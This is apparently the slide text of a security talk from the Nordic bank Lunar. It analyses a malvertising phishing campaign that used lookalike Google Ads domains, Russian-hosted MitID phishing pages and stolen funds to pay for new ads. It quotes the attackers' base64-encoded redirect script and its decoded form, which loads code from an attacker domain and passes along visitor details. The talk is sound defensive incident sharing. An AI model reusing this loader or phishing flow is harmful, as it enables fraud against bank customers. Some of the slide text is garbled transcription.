

A study in phishing seen as a Nordic financial institution

whoami



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Been at Lunar for 8 years, since we started in 2015 with only 5 people including 3 founders

Worked as engineer, architect and now Head of IT security

Earlier worked with security both freelance and with CSIS



Collaboration is king



Fighting TAs - not each other

Fighting against cyber attacks and protecting customers against phishing should of course never be seen as a competitive difference between banks.

It is something where we all need to collaborate to ensure a consistently high level of security and overall trust in the financial sector.

Sharing is caring

Whether this collaboration is coordinated through CERTs or other types of private forums is not super important.

The important point here is that <u>sharing is</u> <u>caring and you should start doing it today</u> - in a controlled manner!

Lunar Maer attack?!



Is it the year of the ads?

 Google
 Iunar
 X
 Images
 Videos
 Maps
 More
 Tools

 Q All
 Images
 Videos
 Maps
 More
 Tools

 About 518.000.000 results (0,38 seconds)
 Ad + https://www.lunaybankling.com/ *
 Lunar login - Lunar

 Find Det Herl
 Seel antwoord. Geweldige info. Ontvang de nieuwste info. Find Lunar bank Og Den Seneste Information Herl
 Søg Efter Lunar bank.


https://www.lunar.app > personal

Lunar: Take back control of your money - Lunar

Get a modern bank built for the future \cdot Free account and Visa card \cdot +1% interest rate for the first 25,000 DKK provided you use your card at least once every 30 ...



Setting up the bait \mathcal{L}



Step 1 analysis, ad and hosting

Google Ads keywords in use:

- "lunar"
- "lunar login"
- "lunar bank" etc.

Mainly Lunar-like domains:

- "lunawbankling.com"
- "Lunglogank.com"
- "zoroinsuct.com"
- "lunabanan.com"

Domain and website was hosted with Namecheap.

All malvertising ads domains used the .com TLD

Step 2 & 3 analysis, victim selection and redirection

Script on initial website:

<script

src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUoYDxzY3JpcHQgYX N5bmMgc3JjPSJodHRwczovL2x1bmF5YmFua2xpbmcuY29tL2ZpbHRlcjA40 DcucGhwP3JIZmVycmVyQ0Y9JHtlc2NhcGUoZG9jdW1lbnQucmVmZXJyZXIp fSZ1cmxDRj0ke2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJIZil9Ij48XC9zY3 JpcHQ+YCk="></script>;

Turns into:

document.write(`<script async
src="https://lunaybankling.com/filter**0887**.ph
p?referrerCF=\${escape(document.referrer)}&
urlCF=\${escape(window.location.href)}"><\/s
cript>`)

Phishing is phishing 🎻



Phishing site hosting and WAF

All phishing sites used the following all-russian hosting set up:

- Domain provider: Reg.ru
- DNS provider: aezadns.com
- Hosting provider: LetHost LLC

The most used TLDs was: .site, .online and .store


The same IP was used for hosting/protect all phishing sites against Lunar - and it is still very active today.

Phishing site hosting and WAF

This was a new for me



Step 4 & 5 analysis, MitID username and approval



Step 6 analysis, Lunar specific flow

LUNAR Hent Lunar gratis nu =	
Enter the PIN from the application	LUNAR
LUNAR APP PIN ⑦	
CONTINUE	→

Netting the catch 🐟



Step 7 analysis, enabling further campaigns

When investigating how the attackers were moving funds out of the victim accounts we noticed some rather odd transactions.

Payments to Namecheap and Google. The attackers were using the funds in the account of the victims to enable further campaigns.

By using this strategy the attackers had fresh and non-blocked card details for payment.

A rather good thought by the attackers.

Step 8 analysis, moving funds out of the account





Overall summary

We saw a total of 35 different domains used with Google Ads and an additional 35 different actual MitID phishing sites in a period of 30 days.

The attackers worked both weekdays and weekends. The most busy days we saw 9 campaigns in a single day. Some periods with none in over a week.

Huge shoutout to @Namecheap on Twitter (X?), amazingly swift reaction and takedown $_$

Main take away

Ensure that your brand trademarks are correctly registered in Google Ads to ensure that similar attacks is less likely to happen against you.

What is to come?



QR codes in MitID to the rescue?!

Log på hos

Mit 1

LUNAR

Scan QR-kode med MitID app



Afbryd Hjælp


New attacks?

Now that users will be more used to seeing QR codes in their cross-device authentication flows we might see a blossom in the use of quishing attacks.

See a QR code while logging into that thing you really want? Better scan it - right?!



New defences



Any questions?